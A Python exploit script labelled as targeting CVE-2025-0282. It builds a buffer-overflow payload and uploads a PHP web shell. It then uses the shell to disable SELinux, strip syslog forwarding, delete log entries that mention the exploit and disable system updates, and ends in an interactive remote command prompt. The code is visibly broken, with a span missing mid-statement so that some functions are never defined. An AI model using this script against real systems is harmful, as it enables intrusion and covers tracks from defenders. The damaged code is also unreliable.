import requests import sys import struct import socket import ssl import urllib3 import time # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def create_exploit_payload(command, offset=500, system_address=0x0804a360, command_address=0x0804b008): payload = b"A" * offset # Fill the buffer payload += struct.pack(" /shell.php" exploit_vulnerability(target_ip, command) print("[+] Web shell uploaded successfully at /shell.php.") verify_shell(target_ip) except Exception as e: print(f"[-] Error uploading web shell: {e}") def verify_shell(target_ip): shell_url = f"http://{target_ip}/shell.php" try: response = requests.get(shell_url, verify=False, timeout=10) if response.status_code == 200: print("[+] Web shell is accessible.") else: print(f"[-] Web shell is not accessible. HTTP status: {response.status_code}") except Exception as e: print(f"[-] Error verifying web shell: {e}") def execute_shell_command(target_ip, command): shell_url = f"http://{target_ip}/shell.php" try: response = requests.post(shell_url, data={"cmd": command}, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Command output:\n{response.text.strip()}") else: print(f"[-] Failed to execute command via shell. HTTP status: {response.status_code}") except Exception as e: print(f"[-] Error executing command via web shell: {e}") def disable_selinux(target_ip): command = "setenforce 0" execute_shell_command(target_ip, command) print("[+] SELinux disabled.") def prevent_syslog_forwarding(target_ip): command = "sed -i '/^*.* @/d' /etc/rsyslog.conf" execute_shell_command(target_ip, command) command = "systemctl restart rsyslog" execute_shell_command(target_ip, command) print("[+] Syslog forwarding disabled.") def remount_drive_rw(target_ip): command = "mount -o remount,rw /" execute_shell_command(target_ip, command) print("[+] Drive remounted as read-write.") def remove_log_entries(target_ip): command = "sed -i '/CVE-2025-0282/d' /var/log/*" execute_shell_command(target_ip, command) print("[+] Log entries related to the exploit removed.") def enable_selinux(target_ip): command = "setenforce 1" execute_shell_command(target_ip, command) print("[+] SELinux re-enabled.") def remount_drive_ro(target_ip): command = "mount -o remount,ro /" execute_shell_command(target_ip, command) print("[+] Drive remounted as read-only.") def disable_updates(target_ip): commands = [ "systemctl stop apt-daily.service", "systemctl disable apt-daily.service" ] for command in commands: execute_shell_command(target_ip, command) print("[+] System updates disabled successfully.") def main(): if len(sys.argv) != 3: print("Usage: python3 cve_2025_0282.py ") sys.exit(1) target_ip = sys.argv[1] local_shell_path = sys.argv[2] upload_web_shell(target_ip, local_shell_path) disable_selinux(target_ip) prevent_syslog_forwarding(target_ip) remount_drive_rw(target_ip) remove_log_entries(target_ip) enable_selinux(target_ip) remount_drive_ro(target_ip) while True: command = input("Enter command to execute on the target (or 'exit' to quit): ") if command.lower() == "exit": print("Exiting...") break execute_shell_command(target_ip, command) if __name__ == "__main__": main()